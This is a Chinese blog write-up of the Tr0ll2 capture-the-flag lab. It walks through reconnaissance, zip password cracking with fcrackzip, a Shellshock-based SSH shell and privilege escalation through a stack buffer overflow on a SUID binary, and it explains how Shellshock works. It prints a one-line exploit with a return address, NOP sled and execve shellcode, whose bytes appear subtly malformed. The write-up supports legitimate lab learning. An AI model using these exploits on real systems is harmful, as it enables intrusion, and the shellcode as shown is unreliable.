Tr0ll2打靶记录

主机探测

ip为192.168.31.26 端口扫描

访问80端口,有一张图片,将图片下载下来,并无可用信息

信息收集->ftp登录

查看页面源码,得知作者名字

目录遍历的时候扫到了/robots.txt,有的目录可以访问,有的则无结果。可以访问的都是展示了一张图片

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop

下载图片查看信息,在/dont_bother下的图片发现信息

1
strings *.jpg

尝试访问y0ur_self目录,发现有个txt文件,猜测是某处的密码

这个txt文件看上去是经过了base64的编码

之后可能会用到这个base64编码了的密码本,或者是编码前的密码,所以先准备好解码了的密码本

1
base64 -d answer.txt > 1.txt

再来尝试登录ftp,用作者的名字作为账密,发现可以成功登录。有一个zip文件,下载下来

爆破解压密码->ssh私钥

要解压这个文件需要密码,于是想到前面的密码本了

爆破解压密码

1
fcrackzip -u -D -p 1.txt lmao.zip

得出密码

解压之后发现文件是ssh私钥,这下可以尝试用私钥登录了

shellshock利用->getshell

经过尝试,发现不能登录,看了别人的wp才知道,这里需要通过shellshock进行利用

payload:

payload中的() { :; };部分创建了一个名为:的函数,然后在函数定义后立即执行/bin/bash,这将启动一个新的Bash shell

[!note] -t 选项用于强制分配一个伪终端,这样可以在远程主机上执行交互式命令。这对于需要在远程主机上运行需要交互的命令非常有用,因为它模拟了一个本地终端的行为,使得远程命令可以像本地命令一样进行交互。

缓冲区溢出漏洞->提权

查找SUID权限文件,可以看到有root可疑文件,运行不同的root文件

依次查看,分别是执行重启的、打印输入内容的、输出固定内容的

exp:

1
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

不太懂二进制漏洞,这个exp的意思是:在这个命令中,./r00t 是一个可执行文件,后面跟着的是一个参数,其中包含了一段用 Python 生成的恶意代码。这段代码的作用是利用栈溢出漏洞,通过向程序提供过长的输入来覆盖程序的返回地址,从而控制程序的执行流程。

具体来说,这段代码首先输入了 268 个"A"字符,然后是一个特定的地址 \x80\xfb\xff\xbf,接着是 16 个空指令 \x90(通常用于填充),最后是一段 shellcode,用于执行特定的操作,比如在这里是执行一个 shell。

Got flag

关于shellshock

shellshock是bash中的一个漏洞,攻击者可以使用特制的环境变量来运行任意命令。

漏洞影响版本:bash version <= 4.3

在bash中可以自定义shell变量,但是这个变量只属于当前shell,即使是该进程fork的子进程,也没办法访问(子进程只会继承父进程的环境变量,而不会继承自定义变量)。

如果想让子进程继续使用父进程的自定义变量,就需要把自定义变量转换成环境变量,这就需要命令export了。

在bash中还可以定义shell函数并将其导出为环境函数,参数-f

1
export -f my_function

除了这种方法,还有一种,通过环境变量来定义函数。当某个环境变量的值以字符串() {的格式作为开头,那么该变量就会被当前 Bash 当作一个导出函数,该函数仅会在当前 Bash 的子进程中生效。

可以看到,父进程将其作为变量,而子进程认为它是函数。

总结

1、靶机难度up,收获新知识点

2、前期都是需要比较充分的信息收集,包括ftp登录、zip密码爆破,都离不开信息收集

3、shellshock漏洞是才了解到的,比较好理解,以后遇见先尝试一手,看bash版本是不是<=4.3

4、提权部分难度较大,主要是对二进制漏洞不熟悉

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行